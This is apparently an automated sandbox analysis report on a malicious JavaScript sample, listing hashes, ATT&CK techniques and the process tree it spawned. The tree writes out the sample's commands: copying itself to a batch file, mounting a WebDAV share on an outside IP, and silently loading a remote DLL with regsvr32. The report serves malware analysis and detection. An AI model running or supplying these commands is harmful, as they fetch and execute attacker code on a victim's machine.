f9f5309a666c11a1dfde7328aaddb9659cd67cc8a0a630f5c72f745f71bf175b

Analysis

max time kernel
13s
max time network
19s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
10/07/2024, 02:36

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General

Target

f9f5309a666c11a1dfde7328aaddb9659cd67cc8a0a630f5c72f745f71bf175b.js
Size

5KB
MD5

e1f52912b78f8d846d64bc0b2f786af3
SHA1

41c8554f49050e8537c9484db23296243274f9ed
SHA256

f9f5309a666c11a1dfde7328aaddb9659cd67cc8a0a630f5c72f745f71bf175b
SHA512

f40fd070e0969506daaa5d6b5e44442d600f6c8a247de62a386a2fba26c7d74cdcd03ff3544d04c4b250572515cd728b661157260eb10cfb5aae74b3a104bc22
SSDEEP

96:RG6haFMl54aElbh4nRku2xNrWyEzKaYpRp2SAZGsAq/fqVaoLeMifJMd5WZlw6zw:aEvVdDw9HGnrkSe

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1432	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2960 wrote to memory of 2332	2960	wscript.exe	30
PID 2960 wrote to memory of 2332	2960	wscript.exe	30
PID 2960 wrote to memory of 2332	2960	wscript.exe	30
PID 2332 wrote to memory of 1744	2332	cmd.exe	32
PID 2332 wrote to memory of 1744	2332	cmd.exe	32
PID 2332 wrote to memory of 1744	2332	cmd.exe	32
PID 2332 wrote to memory of 1432	2332	cmd.exe	33
PID 2332 wrote to memory of 1432	2332	cmd.exe	33
PID 2332 wrote to memory of 1432	2332	cmd.exe	33
PID 2332 wrote to memory of 1432	2332	cmd.exe	33
PID 2332 wrote to memory of 1432	2332	cmd.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\f9f5309a666c11a1dfde7328aaddb9659cd67cc8a0a630f5c72f745f71bf175b.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\f9f5309a666c11a1dfde7328aaddb9659cd67cc8a0a630f5c72f745f71bf175b.js" "C:\Users\Admin\\gfywiu.bat" && "C:\Users\Admin\\gfywiu.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2332
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:1744
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\364.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1432

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\gfywiu.bat

Filesize
5KB

MD5
e1f52912b78f8d846d64bc0b2f786af3

SHA1
41c8554f49050e8537c9484db23296243274f9ed

SHA256
f9f5309a666c11a1dfde7328aaddb9659cd67cc8a0a630f5c72f745f71bf175b

SHA512
f40fd070e0969506daaa5d6b5e44442d600f6c8a247de62a386a2fba26c7d74cdcd03ff3544d04c4b250572515cd728b661157260eb10cfb5aae74b3a104bc22

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